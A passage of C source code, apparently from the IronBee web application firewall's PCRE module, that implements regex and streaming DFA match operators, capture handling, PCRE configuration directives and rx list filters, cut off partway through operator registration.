*/ for (i = 0; i < matches; ++i) { /* The length of the match. */ size_t match_len; /* The first character in the match. */ const char *match_start; /* Field name */ const char *name; /* Holder for a copy of the field value when creating a new field. */ ib_bytestr_t *bs; /* Field holder. */ ib_field_t *field; /* Readability. Mark the start and length of the string. */ match_start = subject+ovector[i*2]; match_len = ovector[i*2+1] - ovector[i*2]; /* Create a byte-string representation */ rc = ib_bytestr_dup_mem(&bs, tx->mm, (const uint8_t*)match_start, match_len); if (rc != IB_OK) { return rc; } /* Create a field to hold the byte-string */ name = ib_capture_name(i); rc = ib_field_create(&field, tx->mm, name, strlen(name), IB_FTYPE_BYTESTR, ib_ftype_bytestr_in(bs)); if (rc != IB_OK) { return rc; } /* Add it to the capture collection */ rc = ib_capture_set_item(capture, i, tx->mm, field); if (rc != IB_OK) { return rc; } } return IB_OK; } /* State information for a DFA's work. */ struct dfa_workspace_t { int *workspace; /**< An array of integers that DFA is using. */ int wscount; /**< The count in dfa_workspace_t::workspace. */ int options; /**< Options used in previous calls. */ //! The size of the string stored at dfa_workspace_t::partial. size_t partial_sz; /** * A partial match data for DFA capturing operator. * * This is NULL initially, otherwise equal to the contents of the * previous partial match. * * This is cleared when the partial match is completed and reported. */ const char *partial; }; typedef struct dfa_workspace_t dfa_workspace_t; /** * Append the range @a ovector[0] to @a ovector[1] into @a operator_data. * * This is used when a partial match is found. The resulting * data is recorded into @a operator_data and emitted * when the partial match is matched in later * calls to the dfa stream operator. * * @param[in] tx The transaction. * @param[in] ovector The vector in which the first two elements * are the partial match values. * @param[in] subject The text for which @a ovector[0] and @a ovector[1] are * offsets into, per the pcre API documentation. * @param[in] dfa_workspace Contains previous partial match data, if any. * * @returns * - IB_OK On success. * - IB_EALLOC On memory errors. */ ib_status_t pcre_dfa_record_partial( ib_tx_t *tx, int *ovector, const char *subject, dfa_workspace_t *dfa_workspace ) { assert(tx != NULL); assert(ovector != NULL); assert(subject != NULL); assert(dfa_workspace != NULL); const size_t subject_len = ovector[1] - ovector[0]; char *partial = ib_mm_alloc( tx->mm, sizeof(*partial) * (subject_len + dfa_workspace->partial_sz)); if (partial == NULL) { return IB_EALLOC; } memcpy(partial, dfa_workspace->partial, dfa_workspace->partial_sz); memcpy( partial + dfa_workspace->partial_sz, subject + ovector[0], subject_len); /* Commit results back. */ dfa_workspace->partial = partial; dfa_workspace->partial_sz += subject_len; return IB_OK; } /** * Clear the partially data written by pcre_dfa_record_partial(). * * @param[in] dfa_workspace The workspace whose partial record to clear. * */ void pcre_dfa_clear_partial( dfa_workspace_t *dfa_workspace ) { assert(dfa_workspace != NULL); dfa_workspace->partial = NULL; dfa_workspace->partial_sz = 0; } /** * Set the matches from a multi-match dfa as a list in the CAPTURE * collection (all with "0" key). * * @param[in] tx Current transaction. * @param[in] capture Collection to capture to. * @param[in] ovector The vector of integer pairs of matches from PCRE. * @param[in] matches The number of matches. * @param[in] subject The matched-against string data. * @param[in] operator_data Operator context data. Contains previous match. * @param[in] dfa_workspace Contains previous partial match data, if any. * * @returns IB_OK or IB_EALLOC. */ static ib_status_t pcre_dfa_set_match( ib_tx_t *tx, ib_field_t *capture, int *ovector, int matches, const char *subject, modpcre_operator_data_t *operator_data, dfa_workspace_t *dfa_workspace ) { assert(tx != NULL); assert(tx->ib != NULL); assert(capture != NULL); assert(ovector != NULL); assert(dfa_workspace != NULL); size_t match_len; /* Length of a match length. */ const char *match_start; /* The start of the match in the subject. */ ib_bytestr_t *bs; /* Copy the match into this byte string. */ ib_field_t *field; /* Wrap the bytestring into this field. */ const char *name; /* Name the field this name. */ ib_status_t rc; /* Status. */ /* NOTE: When you read this code, realize that * the largest DFA match is in ovector[0] to ovector[1]. * Thus, copying ``subject[ovector[0]]`` to ``subject[ovector[1]]`` * encompasses the entire referenced match. */ /* If there is a partial match, it is the prefix of all these matches. * * This then-block constructs a single subject beginning with the * partial match and ending with the text of the longest current * match. */ if (dfa_workspace->partial != NULL && dfa_workspace->partial_sz > 0) { char *new_subject; int *new_ovector; /* Allocate new_subject. */ new_subject = ib_mm_alloc( tx->mm, sizeof(*new_subject) * (ovector[1] - ovector[0] + dfa_workspace->partial_sz)); if (new_subject == NULL) { return IB_EALLOC; } /* Allocate new_ovector. */ new_ovector = ib_mm_alloc(tx->mm, sizeof(*ovector) * matches * 2); if (new_ovector == NULL) { return IB_EALLOC; } /* Populate new_subject. */ memcpy(new_subject, dfa_workspace->partial, dfa_workspace->partial_sz); memcpy( new_subject + dfa_workspace->partial_sz, subject, ovector[1]); /* Populate new_ovector. */ for (int i = 0; i < matches; ++i) { new_ovector[i] = 0; ++i; new_ovector[i] = ovector[i] + dfa_workspace->partial_sz; } /* Re-point our inputs to the new, larger values. */ subject = new_subject; ovector = new_ovector; pcre_dfa_clear_partial(dfa_workspace); } /* A small optimization: * Instead of copying all byte strings from the subject, * we create a copy of subject that we own and alias into it. */ else { subject = ib_mm_memdup( tx->mm, subject, sizeof(*subject) * ovector[1]); } /* Readability. Mark the start and length of the string. */ match_start = subject + ovector[0]; match_len = ovector[1] - ovector[0]; /* Create a byte string copy representation */ rc = ib_bytestr_alias_mem( &bs, tx->mm, (const uint8_t*)match_start, match_len); if (rc != IB_OK) { return rc; } /* Create a field to hold the byte-string */ name = ib_capture_name(0); rc = ib_field_create( &field, tx->mm, IB_S2SL(name), IB_FTYPE_BYTESTR, ib_ftype_bytestr_in(bs)); if (rc != IB_OK) { return rc; } /* Add it to the capture collection */ rc = ib_capture_add_item(capture, field); if (rc != IB_OK) { return rc; } return IB_OK; } /** * @brief Execute the PCRE operator * * @param[in] tx Current transaction. * @param[in] field The field to operate on. * @param[in] capture If non-NULL, the collection to capture to. * @param[out] result The result of the operator 1=true 0=false. * @param[in] instance_data Instance data needed for execution. * @param[in] cbdata Callback data. * * @returns IB_OK most times. IB_EALLOC when a memory allocation error handles. */ static ib_status_t pcre_operator_execute( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ) { assert(instance_data != NULL); assert(tx != NULL); int matches; ib_status_t ib_rc; const int ovector_sz = 3 * MATCH_MAX; int *ovector = NULL; const char *subject = NULL; size_t subject_len = 0; const ib_bytestr_t *bytestr; modpcre_operator_data_t *operator_data = (modpcre_operator_data_t *)instance_data; pcre_extra *edata = NULL; #ifdef PCRE_JIT_STACK pcre_jit_stack *jit_stack = NULL; #endif assert(operator_data->cpdata->is_dfa == false); if (! field) { ib_log_error_tx(tx, "pcre operator received NULL field."); return IB_EINVAL; } ovector = (int *)malloc(ovector_sz*sizeof(*ovector)); if (ovector==NULL) { return IB_EALLOC; } if (field->type == IB_FTYPE_NULSTR) { ib_rc = ib_field_value(field, ib_ftype_nulstr_out(&subject)); if (ib_rc != IB_OK) { free(ovector); return ib_rc; } if (subject != NULL) { subject_len = strlen(subject); } } else if (field->type == IB_FTYPE_BYTESTR) { ib_rc = ib_field_value(field, ib_ftype_bytestr_out(&bytestr)); if (ib_rc != IB_OK) { free(ovector); return ib_rc; } if (bytestr != NULL) { subject_len = ib_bytestr_length(bytestr); subject = (const char *) ib_bytestr_const_ptr(bytestr); } } else { free(ovector); return IB_EINVAL; } if (subject == NULL) { subject = ""; } if (operator_data->cpdata->is_jit) { #ifdef PCRE_JIT_STACK jit_stack = pcre_jit_stack_alloc(operator_data->cpdata->jit_stack_start, operator_data->cpdata->jit_stack_max); if (jit_stack == NULL) { ib_log_notice_tx(tx, "Failed to allocate a jit stack for a jit-compiled rule. " "Not using jit for this call." ); } /* If the study data is NULL or size zero, don't use it. */ else if (operator_data->cpdata->study_data_sz > 0) { edata = operator_data->cpdata->edata; } if (edata != NULL) { pcre_assign_jit_stack(edata, NULL, jit_stack); } #else edata = NULL; #endif } else if (operator_data->cpdata->study_data_sz > 0) { edata = operator_data->cpdata->edata; } else { edata = NULL; } matches = pcre_exec(operator_data->cpdata->cpatt, edata, subject, subject_len, 0, /* Starting offset. */ 0, /* Options. */ ovector, ovector_sz); #ifdef PCRE_JIT_STACK if (jit_stack != NULL) { pcre_jit_stack_free(jit_stack); } #endif if (matches > 0) { if (capture != NULL) { pcre_set_matches(tx, capture, ovector, matches, subject); } ib_rc = IB_OK; *result = 1; } else if (matches == PCRE_ERROR_NOMATCH) { ib_rc = IB_OK; *result = 0; } else { /* Some other error occurred. Set the status to false return the * error. */ ib_rc = IB_EUNKNOWN; *result = 0; } free(ovector); return ib_rc; } /** * Set the ID of a DFA rule. * * @param[in] mm Memory manager to use for allocations. * @param[in,out] operator_data DFA rule object to store ID into. * * @returns * - IB_OK on success. * - IB_EALLOC on memory failure. */ static ib_status_t dfa_id_set( ib_mm_t mm, modpcre_operator_data_t *operator_data ) { assert(operator_data != NULL); /* We compute the length of the string buffer as such: * +2 for the 0x prefix. * +1 for the \0 string terminations. * +16 for encoding 8 bytes (64 bits) as hex-pairs (2 chars / byte). */ size_t id_sz = 16 + 2 + 1; char *id; id = ib_mm_alloc(mm, id_sz+1); if (id == NULL) { return IB_EALLOC; } snprintf(id, id_sz, "%p", operator_data); operator_data->id = id; return IB_OK; } /** * Create the PCRE operator. * * @param[in] ctx Current context. * @param[in] mm Memory manager. * @param[in] parameters Unparsed string with the parameters to * initialize the operator instance. * @param[out] instance_data Instance data. * @param[in] cbdata Callback data. * * @returns IB_OK on success or IB_EALLOC on any other type of error. */ static ib_status_t dfa_operator_create( ib_context_t *ctx, ib_mm_t mm, const char *parameters, void *instance_data, void *cbdata ) { assert(ctx != NULL); assert(parameters != NULL); assert(instance_data != NULL); ib_engine_t *ib = ib_context_get_engine(ctx); assert(ib != NULL); modpcre_cpat_data_t *cpdata; modpcre_operator_data_t *operator_data; ib_module_t *module; modpcre_cfg_t *config; ib_status_t rc; const char *errptr; int erroffset; /* Get my module object */ rc = ib_engine_module_get(ib, MODULE_NAME_STR, &module); if (rc != IB_OK) { ib_log_error(ib, "Error getting pcre module object: %s", ib_status_to_string(rc)); return rc; } /* Get the context configuration */ rc = ib_context_module_config(ctx, module, &config); if (rc != IB_OK) { ib_log_error(ib, "Error getting pcre module configuration: %s", ib_status_to_string(rc)); return rc; } rc = pcre_compile_internal(ib, mm, config, true, &cpdata, parameters, &errptr, &erroffset); if (rc != IB_OK) { ib_log_error(ib, "Error parsing DFA operator pattern \"%s\":%s", parameters, ib_status_to_string(rc)); return rc; } /* Allocate a rule data object, populate it */ operator_data = ib_mm_alloc(mm, sizeof(*operator_data)); if (operator_data == NULL) { return IB_EALLOC; } operator_data->cpdata = cpdata; rc = dfa_id_set(mm, operator_data); if (rc != IB_OK) { ib_log_error(ib, "Error creating ID for DFA: %s", ib_status_to_string(rc)); return rc; } ib_log_debug3(ib, "Compiled DFA id=\"%s\" operator pattern \"%s\"", operator_data->id, parameters); *(modpcre_operator_data_t **)instance_data = operator_data; return IB_OK; } /** * Get or create an ib_hash_t inside of @c tx for storing dfa rule data. * * The hash is stored at the key @c HASH_NAME_STR. * * @param[in] m PCRE module. * @param[in] tx The transaction containing @c tx->data which holds * the @a operator_data object. * @param[out] hash The fetched or created rule data hash. This is set * to NULL on failure. * * @return * - IB_OK on success. * - IB_EALLOC on allocation failure */ static ib_status_t get_or_create_operator_data_hash( const ib_module_t *m, ib_tx_t *tx, ib_hash_t **hash ) { assert(tx); ib_status_t rc; /* Get or create the hash that contains the rule data. */ rc = ib_tx_get_module_data(tx, m, hash); if ( (rc == IB_OK) && (*hash != NULL) ) { return IB_OK; } rc = ib_hash_create(hash, tx->mm); if (rc != IB_OK) { return rc; } rc = ib_tx_set_module_data(tx, m, *hash); if (rc != IB_OK) { *hash = NULL; } return rc; } /** * Create the per-transaction data for use with the dfa operator. * * @param[in] m PCRE module. * @param[in,out] tx Transaction to store the value in. * @param[in] cpatt_data Compiled pattern data * @param[in] id The operator identifier used to get it's workspace. * @param[out] workspace Created. * * @returns * - IB_OK on success. * - IB_EALLOC on an allocation error. */ static ib_status_t alloc_dfa_tx_data( const ib_module_t *m, ib_tx_t *tx, const modpcre_cpat_data_t *cpatt_data, const char *id, dfa_workspace_t **workspace ) { assert(tx != NULL); assert(id != NULL); assert(workspace != NULL); ib_hash_t *hash; ib_status_t rc; dfa_workspace_t *ws; size_t size; *workspace = NULL; rc = get_or_create_operator_data_hash(m, tx, &hash); if (rc != IB_OK) { return rc; } ws = (dfa_workspace_t *)ib_mm_alloc(tx->mm, sizeof(*ws)); if (ws == NULL) { return IB_EALLOC; } ws->partial = NULL; ws->partial_sz = 0; ws->options = 0; ws->wscount = cpatt_data->dfa_ws_size; size = sizeof(*(ws->workspace)) * (ws->wscount); ws->workspace = (int *)ib_mm_alloc(tx->mm, size); if (ws->workspace == NULL) { return IB_EALLOC; } rc = ib_hash_set(hash, id, ws); if (rc == IB_OK) { *workspace = ws; } return rc; } /** * Return the per-transaction data for use with the dfa operator. * * @param[in] m PCRE module. * @param[in] tx Transaction to store the value in. * @param[in] id The operator identifier used to get it's workspace. * @param[out] workspace Retrieved. * * @returns * - IB_OK on success. * - IB_ENOENT if the structure does not exist. Call alloc_dfa_tx_data then. * - IB_EALLOC on an allocation error. */ static ib_status_t get_dfa_tx_data( const ib_module_t *m, ib_tx_t *tx, const char *id, dfa_workspace_t **workspace ) { assert(tx != NULL); assert(id != NULL); assert(workspace != NULL); ib_hash_t *hash; ib_status_t rc; rc = get_or_create_operator_data_hash(m, tx, &hash); if (rc != IB_OK) { return rc; } rc = ib_hash_get(hash, workspace, id); if (rc != IB_OK) { *workspace = NULL; } return rc; } /** * @brief Common code for executing the dfa operator. * * @param[in] tx Current transaction. * @param[in] instance_data Instance data needed for execution. * @param[in] field The field to operate on. * @param[in] capture If non-NULL, the collection to capture to. * @param[out] result The result of the operator 1=true 0=false. * @param[in] module The module structure. * @param[in] is_phase If true, not streaming. * * @returns IB_OK most times. IB_EALLOC when a memory allocation error handles. */ static ib_status_t dfa_operator_execute_common( ib_tx_t *tx, void *instance_data, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, const ib_module_t *module, bool is_phase ) { assert(tx != NULL); assert(instance_data != NULL); assert(module != NULL); static const int ovector_sz = 3 * MATCH_MAX; /* The return code for pcre_dfa_exec(). * If this is negative, it is a status code. * If this is > 0 it is the number of matches found + 1. * If this is == 0, there are not matches captured, but * the pattern matched. */ int matches; ib_status_t ib_rc; int *ovector; const char *subject; size_t subject_len; size_t start_offset; int match_count; const ib_bytestr_t *bytestr; dfa_workspace_t *dfa_workspace; modpcre_operator_data_t *operator_data = (modpcre_operator_data_t *)instance_data; const char *id = operator_data->id; assert(module != NULL); assert(operator_data->cpdata->is_dfa == true); if (! field) { ib_log_error_tx(tx, "dfa operator received NULL field."); return IB_EINVAL; } ovector = (int *)malloc(ovector_sz*sizeof(*ovector)); if (ovector==NULL) { return IB_EALLOC; } /* Extract the subject from the field. */ if (field->type == IB_FTYPE_NULSTR) { ib_rc = ib_field_value(field, ib_ftype_nulstr_out(&subject)); if (ib_rc != IB_OK) { goto return_rc; } subject_len = strlen(subject); } else if (field->type == IB_FTYPE_BYTESTR) { ib_rc = ib_field_value(field, ib_ftype_bytestr_out(&bytestr)); if (ib_rc != IB_OK) { goto return_rc; } subject_len = ib_bytestr_length(bytestr); subject = (const char *) ib_bytestr_const_ptr(bytestr); } else { ib_rc = IB_EINVAL; goto return_rc; } if (subject_len == 0 || subject == NULL) { ib_log_debug_tx(tx, "Subject is empty for DFA op. No match."); *result = 0; ib_rc = IB_OK; goto return_rc; } /* Get the per-tx-per-operator workspace data for this rule data id. */ ib_rc = get_dfa_tx_data(module, tx, id, &dfa_workspace); if (is_phase && ib_rc == IB_OK) { /* Phase rules always clear the restart flag on subsequent runs. * NOTE: Phase rules do not need to have pcre_dfa_clear_partial() * called. */ dfa_workspace->options &= (~PCRE_DFA_RESTART); } else if (ib_rc == IB_ENOENT) { /* First time we are called, clear the captures. */ if (capture != NULL) { ib_rc = ib_capture_clear(capture); if (ib_rc != IB_OK) { ib_log_error_tx( tx, "Failed to clear captures: %s", ib_status_to_string(ib_rc)); } } ib_rc = alloc_dfa_tx_data( module, tx, operator_data->cpdata, id, &dfa_workspace); if (ib_rc != IB_OK) { goto return_rc; } dfa_workspace->options = PCRE_PARTIAL_SOFT; } else if (ib_rc != IB_OK) { /* Not ok, not ENOENT, then fail. */ goto return_rc; } /* Used in situations of multiple matches. * Specifies where in the subject pcre_dfa_exec() should start matching. */ start_offset = 0; /* The total count of matches found. */ match_count = 0; /* Perform the match. * If capturing is not requested, then there is no need to find * multiple matches, and this do-while will not iterate more than once. * If capturing is requested, and a match was found, this loop will * iterate more than once until no more matches are found. */ do { matches = pcre_dfa_exec( operator_data->cpdata->cpatt, operator_data->cpdata->edata, subject, subject_len, start_offset, /* Starting offset. */ dfa_workspace->options, ovector, ovector_sz, dfa_workspace->workspace, dfa_workspace->wscount); /* Assume we want to restart. */ dfa_workspace->options |= PCRE_DFA_RESTART; /* Check that we have matches. */ if (matches >= 0) { /* If the match is zero in length, turn off restart and * do not capture. */ if (ovector[0] == ovector[1]) { dfa_workspace->options &= (~PCRE_DFA_RESTART); } /* If the match is non-zero in length, process the match. */ else { /* If matches == 0, there were too many matches to report * all of them. Handle what we can match and continue. */ if (matches == 0) { ib_log_debug_tx( tx, "DFA Match over flow. " "Only handling the longest %d matches.", MATCH_MAX); matches = MATCH_MAX; } match_count += matches; /* If we are to capture the values, it means 2 things: * * 1. We will iterate at the end of this do-while loop, * and so must update start_offset using the longest * matching substring. * 2. We must record the captured values. */ if (capture) { start_offset = ovector[1]; ib_rc = pcre_dfa_set_match( tx, capture, ovector, matches, subject, operator_data, dfa_workspace); if (ib_rc != IB_OK) { goto return_rc; } /* Handle corner case where a match completes on a buffer * boundary. This can stall this loop unless handled. */ if (ovector[1] == 0) { dfa_workspace->options &= (~PCRE_DFA_RESTART); } } } } else if (matches == PCRE_ERROR_PARTIAL && ! is_phase) { /* Start recording into operator_data the buffer. */ ib_rc = pcre_dfa_record_partial( tx, ovector, subject, dfa_workspace); if (ib_rc != IB_OK) { goto return_rc; } } } while (capture && (matches >= 0) && start_offset < subject_len); if (match_count > 0) { ib_rc = IB_OK; *result = 1; } else if (matches == PCRE_ERROR_NOMATCH) { ib_rc = IB_OK; *result = 0; } else if (matches == PCRE_ERROR_PARTIAL) { ib_rc = IB_OK; *result = 0; } else { ib_log_error_tx( tx, "Unexpected return code from DFA match: %d", matches); /* Some other error occurred. Set the status to false and * return the error. */ ib_rc = IB_EUNKNOWN; *result = 0; } return_rc: free(ovector); return ib_rc; } /** * @brief Execute the dfa stream operator. * * @param[in] tx Current transaction. * @param[in] field The field to operate on. * @param[in] capture If non-NULL, the collection to capture to. * @param[out] result The result of the operator 1=true 0=false. * @param[in] instance_data Instance data needed for execution. * @param[in] cbdata Callback data. An @ref ib_module_t. * * @returns IB_OK most times. IB_EALLOC when a memory allocation error handles. */ static ib_status_t dfa_phase_operator_execute( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ) { assert(tx != NULL); assert(instance_data != NULL); assert(cbdata != NULL); return dfa_operator_execute_common( tx, instance_data, field, capture, result, (const ib_module_t *)cbdata, true ); } /** * @brief Execute the dfa stream operator. * * @param[in] tx Current transaction. * @param[in] field The field to operate on. * @param[in] capture If non-NULL, the collection to capture to. * @param[out] result The result of the operator 1=true 0=false. * @param[in] instance_data Instance data needed for execution. * @param[in] cbdata Callback data. An @ref ib_module_t. * * @returns IB_OK most times. IB_EALLOC when a memory allocation error handles. */ static ib_status_t dfa_stream_operator_execute( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ) { assert(tx != NULL); assert(instance_data != NULL); assert(cbdata != NULL); return dfa_operator_execute_common( tx, instance_data, field, capture, result, (const ib_module_t *)cbdata, false ); } /* -- Module Routines -- */ static IB_CFGMAP_INIT_STRUCTURE(config_map) = { IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".study", IB_FTYPE_NUM, modpcre_cfg_t, study ), IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".use_jit", IB_FTYPE_NUM, modpcre_cfg_t, use_jit ), IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".match_limit", IB_FTYPE_NUM, modpcre_cfg_t, match_limit ), IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".match_limit_recursion", IB_FTYPE_NUM, modpcre_cfg_t, match_limit_recursion ), IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".jit_stack_start", IB_FTYPE_NUM, modpcre_cfg_t, jit_stack_start ), IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".jit_stack_max", IB_FTYPE_NUM, modpcre_cfg_t, jit_stack_max ), IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".dfa_workspace_size", IB_FTYPE_NUM, modpcre_cfg_t, dfa_workspace_size ), IB_CFGMAP_INIT_LAST }; /** * Handle on/off directives. * * @param[in] cp Config parser * @param[in] name Directive name * @param[in] onoff on/off flag * @param[in] cbdata Callback data (ignored) * * @returns Status code */ static ib_status_t handle_directive_onoff(ib_cfgparser_t *cp, const char *name, int onoff, void *cbdata) { assert(cp != NULL); assert(name != NULL); assert(cp->ib != NULL); ib_engine_t *ib = cp->ib; ib_status_t rc; ib_module_t *module = NULL; modpcre_cfg_t *config = NULL; ib_context_t *ctx = cp->cur_ctx ? cp->cur_ctx : ib_context_main(ib); const char *pname; /* Get my module object */ rc = ib_engine_module_get(cp->ib, MODULE_NAME_STR, &module); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error getting %s module object: %s", MODULE_NAME_STR, ib_status_to_string(rc)); return rc; } /* Get my module configuration */ rc = ib_context_module_config(ctx, module, (void *)&config); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error getting %s module configuration: %s", MODULE_NAME_STR, ib_status_to_string(rc)); return rc; } if (strcasecmp("PcreStudy", name) == 0) { pname = MODULE_NAME_STR ".study"; } else if (strcasecmp("PcreUseJit", name) == 0) { pname = MODULE_NAME_STR ".use_jit"; } else { ib_cfg_log_error(cp, "Unhandled directive \"%s\"", name); return IB_EINVAL; } rc = ib_context_set_num(ctx, pname, onoff); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error setting \"%s\" to %s for \"%s\": %s", pname, onoff ? "true" : "false", name, ib_status_to_string(rc)); } return IB_OK; } /** * Handle single parameter directives. * * @param cp Config parser * @param name Directive name * @param p1 First parameter * @param cbdata Callback data (from directive registration) * * @returns Status code */ static ib_status_t handle_directive_param(ib_cfgparser_t *cp, const char *name, const char *p1, void *cbdata) { assert(cp != NULL); assert(name != NULL); assert(p1 != NULL); assert(cp->ib != NULL); ib_engine_t *ib = cp->ib; ib_status_t rc; ib_module_t *module = NULL; modpcre_cfg_t *config = NULL; ib_context_t *ctx = cp->cur_ctx ? cp->cur_ctx : ib_context_main(ib); const char *pname; ib_num_t value; /* Get my module object */ rc = ib_engine_module_get(cp->ib, MODULE_NAME_STR, &module); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error getting %s module object: %s", MODULE_NAME_STR, ib_status_to_string(rc)); return rc; } /* Get my module configuration */ rc = ib_context_module_config(ctx, module, (void *)&config); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error getting %s module configuration: %s", MODULE_NAME_STR, ib_status_to_string(rc)); return rc; } /* p1 should be a number */ rc = ib_string_to_num(p1, 0, &value); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error converting \"%s\" to a number for \"%s\": %s", p1, name, ib_status_to_string(rc)); return rc; } if (strcasecmp("PcreMatchLimit", name) == 0) { pname = "pcre.match_limit"; } else if (strcasecmp("PcreMatchLimitRecursion", name) == 0) { pname = "pcre.match_limit_recursion"; } else if (strcasecmp("PcreJitStackStart", name) == 0) { pname = "pcre.jit_stack_start"; } else if (strcasecmp("PcreJitStackMax", name) == 0) { pname = "pcre.jit_stack_max"; } else if (strcasecmp("PcreDfaWorkspaceSize", name) == 0) { pname = "pcre.dfa_workspace_size"; } else { ib_cfg_log_error(cp, "Unhandled directive \"%s\"", name); return IB_EINVAL; } rc = ib_context_set_num(ctx, pname, value); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error setting \"%s\" to %ld for \"%s\": %s", pname, (long int)value, name, ib_status_to_string(rc)); } return IB_OK; } /**! Constant used as cbdata for value filters. */ static const char *c_filter_rx_value = "FilterValue"; /**! Constant used as cbdata for name filters. */ static const char *c_filter_rx_name = "FilterName"; /** * Create function for all rx filters. * * @param[in] mm Memory manager. * @param[in] regex Regular expression. * @param[out] instance_data Will be set to compiled pattern data. * @param[in] cbdata Module. * @return * - IB_OK on success. * - Any return of pcre_compile_internal(). **/ static ib_status_t filter_rx_create( ib_mm_t mm, const char *regex, void *instance_data, void *cbdata ) { assert(regex != NULL); assert(instance_data != NULL); assert(cbdata != NULL); ib_module_t *m = (ib_module_t *)cbdata; ib_engine_t *ib = m->ib; modpcre_cpat_data_t *cpdata; const char *error; int error_offset; ib_status_t rc; rc = pcre_compile_internal( ib, mm, &modpcre_global_cfg, false, &cpdata, regex, &error, &error_offset ); if (rc != IB_OK) { return rc; } *(modpcre_cpat_data_t **)instance_data = cpdata; return IB_OK; } /** * Execute function for all rx filters. * * @param[in] mm Memory manager. * @param[in] fin Input field; expected to be a list to filter. * @param[in] fout Output field; list of matching subfields. * @param[in] instance_data Compiled pattern data. * @param[in] cbdata @ref c_filter_rx_value or @ref c_filter_rx_name. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_EOTHER on insanity error. * - IB_EINVAL on unexpected input type. * - IB_EUNKNOWN on unexpected pcre failure. **/ static ib_status_t filter_rx_execute( ib_mm_t mm, const ib_field_t *fin, const ib_field_t **fout, void *instance_data, void *cbdata ) { assert(fin != NULL); assert(fout != NULL); assert(instance_data != NULL); assert(cbdata != NULL); bool filter_value; const ib_list_t *collection; ib_list_t *result; ib_field_t *result_field; ib_status_t rc; pcre_extra *edata = NULL; #ifdef PCRE_JIT_STACK pcre_jit_stack *jit_stack = NULL; #endif const ib_list_node_t *node; const modpcre_cpat_data_t *cpdata = (const modpcre_cpat_data_t *)instance_data; if ((const char *)cbdata == c_filter_rx_value) { filter_value = true; } else if ((const char *)cbdata == c_filter_rx_name) { filter_value = false; } else { return IB_EOTHER; } rc = ib_field_value_type( fin, ib_ftype_list_out(&collection), IB_FTYPE_LIST ); if (rc != IB_OK) { return rc; } if (cpdata->is_jit) { #ifdef PCRE_JIT_STACK jit_stack = pcre_jit_stack_alloc( cpdata->jit_stack_start, cpdata->jit_stack_max ); /* If the study data is NULL or size zero, don't use it. */ if (cpdata->study_data_sz > 0) { edata = cpdata->edata; } if (edata != NULL && jit_stack != NULL) { pcre_assign_jit_stack(edata, NULL, jit_stack); } #else edata = NULL; #endif } else if (cpdata->study_data_sz > 0) { edata = cpdata->edata; } else { edata = NULL; } rc = ib_list_create(&result, mm); if (rc != IB_OK) { return rc; } IB_LIST_LOOP_CONST(collection, node) { const ib_field_t *subfield = ib_list_node_data_const(node); const char *subject; size_t subject_len; int pcre_rc; if (filter_value) { const ib_bytestr_t *bs; rc = ib_field_value_type( subfield, ib_ftype_bytestr_out(&bs), IB_FTYPE_BYTESTR ); if (rc == IB_EINVAL) { /* Not a bytestr. */ continue; } else if (rc != IB_OK) { return rc; } subject = (const char *)ib_bytestr_const_ptr(bs); subject_len = ib_bytestr_length(bs); } else { subject = subfield->name; subject_len = subfield->nlen; } pcre_rc = pcre_exec( cpdata->cpatt, edata, subject, subject_len, 0, 0, NULL, 0 ); if (pcre_rc == PCRE_ERROR_NOMATCH) { continue; } if (pcre_rc < 0) { return IB_EUNKNOWN; } rc = ib_list_push(result, (void *)subfield); if (rc != IB_OK) { return rc; } } #ifdef PCRE_JIT_STACK if (jit_stack != NULL) { pcre_jit_stack_free(jit_stack); } #endif rc = ib_field_create_no_copy( &result_field, mm, fin->name, fin->nlen, IB_FTYPE_LIST, ib_ftype_list_mutable_in(result) ); if (rc != IB_OK) { return rc; } *fout = result_field; return IB_OK; } static IB_DIRMAP_INIT_STRUCTURE(directive_map) = { IB_DIRMAP_INIT_ONOFF( "PcreStudy", handle_directive_onoff, NULL ), IB_DIRMAP_INIT_ONOFF( "PcreUseJit", handle_directive_onoff, NULL ), IB_DIRMAP_INIT_PARAM1( "PcreMatchLimit", handle_directive_param, NULL ), IB_DIRMAP_INIT_PARAM1( "PcreMatchLimitRecursion", handle_directive_param, NULL ), IB_DIRMAP_INIT_PARAM1( "PcreJitStackStart", handle_directive_param, NULL ), IB_DIRMAP_INIT_PARAM1( "PcreJitStackMax", handle_directive_param, NULL ), IB_DIRMAP_INIT_PARAM1( "PcreDfaWorkspaceSize", handle_directive_param, NULL ), IB_DIRMAP_INIT_LAST }; static ib_status_t modpcre_init(ib_engine_t *ib, ib_module_t *m, void *cbdata) { assert(ib != NULL); assert(m != NULL); ib_status_t rc; /* Register operators. */ rc = ib_operator_create_and_register( NULL, ib, "pcre", IB_OP_CAPABILITY_CAPTURE, pcre_operator_create, NULL, NULL, NULL, pcre_operator_execute, m ); if (rc != IB_OK) { return rc; } /* An alias of pcre. The same callbacks are registered. */ rc = ib_operator_create_and_register( NULL, ib, "rx", IB_OP_CAPABILITY_CAPTURE, pcre_operator_create, NULL, NULL, NULL, pcre_operator_execute, m ); if (rc != IB_OK) { return rc; } /* Register a pcre operator that uses pcre_dfa_exec to match streams. */ rc = ib_operator_create_and_register( NULL, ib, "dfa", IB_OP_CAPABILITY_CAPTURE, dfa_operator_create, NULL, NULL, NULL, dfa_phase_operator_execute, m ); if (rc != IB_OK) { return rc; } rc = ib_operator_stream_create_and_register( NULL, ib, "dfa", 